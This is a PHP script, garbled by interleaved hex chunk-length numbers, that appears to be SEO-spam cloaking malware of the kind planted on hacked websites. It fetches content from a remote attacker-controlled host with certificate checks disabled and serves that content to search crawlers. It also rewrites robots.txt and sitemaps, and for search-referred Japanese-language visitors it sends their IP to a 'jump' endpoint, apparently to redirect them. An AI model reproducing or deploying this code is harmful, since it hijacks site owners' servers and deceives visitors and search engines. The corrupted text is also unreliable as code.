1 < 3 ?ph 4 p er 5 ror_r 4 epor 4 ting 3 (0) 4 ; @s 4 et_t 4 ime_ 4 limi 3 t(1 7 20); @i 4 gnor 5 e_use 4 r_ab 4 ort( 5 1); $ 4 tr = 4 "ht 4 tps: 3 //j 3 260 3 417 3 _23 3 .ro 5 berto 4 .asi 3 a/" 4 ; cl 4 ass 4 Req 3 { 5 pu 4 blic 4 fun 4 ctio 5 n ser 4 ver( 3 $na 5 me = 4 '', 4 $def 4 ault 6 = '') b { 6 if 4 (em 3 pty 8 ($name)) b { 7 ret 5 urn $ 4 _SER 3 VER 6 ; 5 } 11 $name = 5 strto 3 upp b er($name); 8 9 return is 4 set( e $_SERVER[$name 3 ]) a ? $_SERVER 8 [$name] a : $default c ; } 10 public function 4 iss( 17 ) { if ($th 3 is- 9 >server(' 3 HTT 3 PS' 4 ) && 3 (" 4 1" = 2 = 19 $this->server('HTTPS') || 4 "on a " == strto 3 low 4 er($ 16 this->server('HTTPS')) 1b )) { return tru d e; } 4 else 5 if (' 6 https' 15 == $this->server('RE 3 QUE 4 ST_S 3 CHE 3 ME' 32 )) { return true; } elseif ('4 2 43 1a ' == $this->server('SERVER 4 _POR 1 T 4b ')) { return true; } elseif ('https' == $this->server(' 5 HTTP_ 4 X_FO 3 RWA 4 RDED 4 _PRO 2 TO 28 ')) { return true; } 12 return fa 3 lse 1f ; } public function hos 12 t() { 5 $host 6 = str 3 val 14 ($this->server('HTTP f _X_FORWARDED_HO 4 ST') 2 ? 15 : $this->server('HTTP 7 _HOST') 12 ); return 6 strpos 7 ($host, 3 ': 8 ') ? str e str($host, ':' 2 , 5 true) 8 : $host 1e ; } public function sc 4 heme 11 () { e return $this-> 5 iss() 9 ? "https 4 " : 8 "http"; a } 11 public function d 20 m() { return $this-> 9 scheme() 3 . " 7 ://" . 7 $this-> 22 host(); } public function 2 ip 15 () { if ( 4 gete 3 nv( 7 'HTTP_C 3 LIE 4 NT_I 1 P 15 ')) { $ip 3 = 2c getenv('HTTP_CLIENT_IP'); } elseif ( d getenv('HTTP_ f X_FORWARDED_FOR 25 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1e ; } elseif (getenv('RE 4 MOTE 4 _ADD 21 R')) { $ip = getenv(' d REMOTE_ADDR') 1f ; } else { 6 $ip = f $this->server(' 28 REMOTE_ADDR'); } return 3 $ip 1f ; } public function isc 13 () { $a 27 gent = strtolower($this->server('HTTP_U 4 SER_ 2 AG 6 ENT')) e ; if ( 8 $agent ! 4 = '' 6 && pr 4 eg_m 4 atch 4 ('/g 4 oogl 4 ebot 7 |google 3 |ya 4 hoo| 4 bing 4 |aol 3 /si 4 ', $ 5 agent 37 )) { return true; } return 22 false; } public function i 2 sg b () { 4 $ref 5 er = 1f strtolower($this->server('HTTP_ 3 REF 3 ERE e R')); 6 $refer 8 bots = ' 16 google|yahoo|bing|aol' f ; if ($ 6 refer 17 != '' && preg_match("/( b $referbots) 4 /si" 8 , $refer 59 )) { return true; } return false; } public function u 2 ri 15 () { if ( 2 ($ 9 pos = str 5 pos($ e this->server(' b REQUEST_URI 2 ') 4 , '. 7 php')) 4 !== 5 false 12 ) { $s 4 crip 2 t_ a name = bas 5 ename 12 ($this->server('SC 3 RIP 4 T_FI 3 LEN 6 AME')) a ; 8 if ( 1f basename($this->server('SCRIPT_ a NAME')) == 3 = $ 1b script_name) { 5 $ 3 url 12 = $this->server(' 7 SCRIPT_ 14 NAME'); a } elseif ( 19 basename($this->server('P 2 HP 5 _SELF 4 ')) 3a === $script_name) { $url = $this->server(' 3a PHP_SELF'); } elseif (basename($this->server(' 3 ORI 4 G_SC 5 RIPT_ 42 NAME')) === $script_name) { $url = $this->server(' 2a ORIG_SCRIPT_NAME'); } elseif ( 1e ($pos = strpos($this->server(' a PHP_SELF') 5 , '/' 4 . $ c script_name) 26 ) !== false) { $url = 3 sub 5 str($ 1b this->server('SCRIPT_NAME') 3 , 0 6 , $pos 4 ) . 12 '/' . $script_name 27 ; } elseif ($this->server(' 3 DOC 2 UM 7 ENT_ROO 4 T') 3 && 1d strpos($this->server('SCRIPT_ a FILENAME') 11 , $this->server(' f DOCUMENT_ROOT') 7 ) === 0 1e ) { $url = str 5 _repl 2 ac 20 e($this->server('DOCUMENT_ROOT') 3 , ' 4 ', $ 2e this->server('SCRIPT_FILENAME')); a } 7 $re 4 quri 4 = $ 6 url . 16 substr($this->server(' 14 REQUEST_URI'), $pos 3 + 4 b ); 6 } else 19 { $requri = 25 substr($this->server('REQUEST_URI'), 16 strpos($this->server(' 11 REQUEST_URI'), '/ 17 ')); } 8 return r 8 trim($re 9 quri, '/' 7 ); 17 } public function e 3 xec 4 Req( 8 $url, $p 5 = ar 4 ray( 1 ) 17 ) { $url = d str_replace(' 5 ', ' 5 +', $ 3 url e ); $ch 4 = c 6 url_in 3 it( 10 ); curl_ 4 seto 4 pt($ 4 ch, 3 CUR 2 LO 6 PT_URL 2a , $url); curl_setopt($ch, CURLOPT_ 4 RETU 3 RNT 3 RAN 4 SFER 6 , 1); 4 1d curl_setopt($ch, CURLOPT_ 4 HEAD 4 ER, 25 0); curl_setopt($ch, CURLOPT_ 3 TIM 4 EOUT 2 , 5 20); 22 curl_setopt($ch, CURLOPT_P 2a OST, 1); curl_setopt($ch, CURLOPT_ 3 SSL 4 _VER 3 IFY 2 PE 33 ER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFY 4 HOST 2b , 0); curl_setopt($ch, CURLOPT_POST 3 FIE 3 LDS 2 , 7 http_bu 4 ild_ 4 quer 4 y($p e )); $o 4 utpu 4 t = 9 curl_exec 4 ($ch c ); $ 8 errorCod 4 e = 9 curl_errn 10 o($ch); 7 curl_cl 5 ose($ d ch); 5 if (0 6 !== $ 9 errorCode 17 ) { return b false; 4 12 } return $ c output; 3 } } 5 $req 5 = ne 5 w Req 5 (); $ 3 isc 7 = $req 5 ->isc 8 (); $isg b = $req->is 7 g(); $u 2 ma 4 p = 7 $tr . " 3 map 6 "; $ur 4 i = 6 urldec 3 ode 7 ($req-> 5 uri() e ); $p = array( 6 " 4 doma 5 in" = 8 > $req-> 5 dm(), 6 " f port" => $req-> 8 server(' 3 SER 3 VER 9 _PORT', 8 9 0), " 9 uri" => $ 4 uri 7 ); if ( 8 substr($ 7 uri, -1 3 0) 4 == " 3 rob 6 ots.tx 2 t" b ) { hea 4 der( 4 "Con 4 tent 4 -typ 4 e:te 3 xt/ 5 plain 3 ; c 3 har 5 set=u 3 tf- 9 8"); 2 di 8 e($req-> f execReq($tr . " a robots", $ 5 p)); 1 } 14 if (substr($uri, -6 c ) == "robots 10 ") { $output 9 = $req-> 1b execReq($tr . "robots", $p) 9 ; $rp 6 t = __ 4 DIR_ 5 _ . " c /robots.txt" 8 ; fi 3 le_ 5 put_c 6 ontent 6 s($rpt 9 , $output 8 ); $ b robots_cont 4 = @ 5 file_ 11 get_contents($rpt 7 ); b if (strpos( c strtolower($ b robots_cont 6 ), "si 6 temap" d )) { 4 die( 10 "robots.txt file 4 cre 3 ate 6 succe 3 ss! 8 "); 2d } else { die("robots.txt file create 3 fai b l!"); } 16 } if (substr($uri, -4 7 ) == ". 3 xml 9 ") { f if (strpos($uri 5 , "al 8 lsitemap 7 .xml") b || strpos($ 6 uri, " a sitemap-in 3 dex 26 .xml") || strpos($uri, "sitemap-index- 19 1.xml") || strpos($uri, " b index.xml") c ) { 1d $output = $req->execReq($umap 5 , $p) a ; 1e header("Content-type:text/" . 9 (substr($ 6 output 6 , 0, 5 8 ) === '< 4 ?xml 4 ' ? 7 'xml' : 2 ' 8 plain') 3 . ' f ; charset=utf-8 c '); 4 die( 6 '' . $ d output); 6 } 1f $output = $req->execReq($tr . " 3 wor 7 d", $p) 6 ; 1d header("Content-type:text/xml 17 ; charset=utf-8"); 5 if ($ b output == " a 1") { e die('' . $ 5 req-> 12 execReq($umap, $p) 7 ); 15 } else { die( 18 '' . $output); } } $ 3 lan a g = $req-> e server('HTTP_A 3 CCE 5 PT_LA 3 NGU 3 AGE 8 '); if ( 6 !$isc 3 && 4 $isg 10 && strpos($lang 4 , 'j 3 a') 3 !== f false) { $p 4 ["ip 2 "] a = $req->i 3 p() 8 ; $a 6 ction c = $tr . "jum 8 p"; 13 die($req->execReq($ 6 action 12 , $p)); } if ($isc 8 ) { 18 die('' . $req->execReq($ 6 tr . " 6 indata b ", $p)); } 2 ?> 0